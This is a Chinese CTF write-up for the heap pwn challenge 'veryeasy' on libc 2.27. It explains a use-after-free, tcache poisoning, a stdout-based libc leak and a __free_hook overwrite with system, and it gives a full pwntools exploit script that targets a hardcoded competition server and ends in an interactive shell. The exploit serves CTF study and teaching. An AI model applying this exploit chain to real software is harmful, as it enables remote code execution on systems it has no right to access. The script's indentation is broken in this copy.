[Pwn] veryeasy

64位程序,传统菜单题,保护全开,libc2.27的环境。

在第3个函数那里存在UAF漏洞

在程序进行free操作时有这个判断,可以通过负数溢出来绕过。

 

因此,思路是这样:

1、在堆上布置一个0x70大小的chunk,和几个0x40的chunk,然后将这些chunk全部free掉,利用UAF改写0x40chunk的fd指针的最低位,使其指向0x70的chunk。

2、得到指向0x70chunk头的chunk,然后将0x70的chunk的size字段改为0xb1,再将这个被改的chunk释放掉,它就会被放到unsortedbin中,得到main_arena的地址。

3、再将该chunk的头的size字段改回0x71,然后部分写fd字段,使其指向stdout(这里需要爆破一下地址)。改变stdout结构体,泄露libc基址。

4、利用tcache的和UAF将freehook的内容改成system的地址,然后free掉一个内容是"/bin/sh"的chunk就能getshell。

 

from pwn import *
context.terminal = ['tmux', 'splitw', '-h']
# context.log_level = "debug"
def fire():
#p = process("./pwn")
 p = remote("122.112.225.164", 10001)
 libc = ELF("./libc-2.27.so")
def add(idx, size, content):
 p.sendlineafter("choice :", str(1))
 p.sendlineafter("id:", str(idx))
 p.sendlineafter("size:", str(size))
 p.sendafter("content:\n", content)
def add1(idx, size, content):
 p.sendlineafter("choice :", str(1))
 p.sendlineafter("id:", str(idx))
 p.sendlineafter("size:", str(size))
 p.sendafter("content:", content)
def edit(idx, content):
 p.sendlineafter("choice :", str(2))
 p.sendlineafter("id:", str(idx))
 p.sendafter("content:", content)
def delete(idx):
 p.sendlineafter("choice :", str(3))
 p.sendlineafter("id:", str(idx))
#gdb.attach(p)
 add(0, 0xa0, "a")
 add(1, 0x68, "a")
 add(2, 0x30, "a")
 add(3, 0x30, "a")
delete(1)
 delete(3)
 delete(2)
 edit(2, '\x00')
 edit(2, '\x00')
 edit(2, '\x00')
add(4, 0x30, "a")
 add(5, 0x30, p64(0) + p64(0xb1))
add(6, 0xa0, "a")
 for i in range(6, 13):
 delete(6)
delete(1)
 edit(5, p64(0) + p64(0x71) + '\x60\xd7')
 add(13, 0x68, p64(0))
 add(14, 0x68, p64(0xfbad1800) + p64(0)*3 + '\x00')
p.recv(0x20)
 leak = u64(p.recv(8))
 libc_base = leak - 0x3eb780
 print "*************************" + hex(libc_base)
 if libc_base / 0x10000000000 != 0x7f:
 p.close()
 return False
edit(5, p64(0) + p64(0xb1) + p64(libc_base + 0x3ebca0))
 sleep(0.1)
 add1(16, 0x48, "a")
 sleep(0.1)
 delete(16)
 sleep(0.1)
 edit(16, p64(libc_base + libc.symbols['__free_hook']))
 sleep(0.1)
 add1(17, 0x48, "/bin/sh")
 
 print "*************************" + hex(libc_base)
 add1(18, 0x48, p64(libc_base + libc.symbols['system']))
 delete(17)
 p.interactive()
 print "*************************" + hex(libc_base)
 return True
res = False
while not res:
 res = fire()​

 

打赏还是打残,这是个问题
[Pwn] babyrpc - cpt.shao
[Crypto] confused_flag - match
立即登录, 发表评论.
没有帐号? 立即注册
0 条评论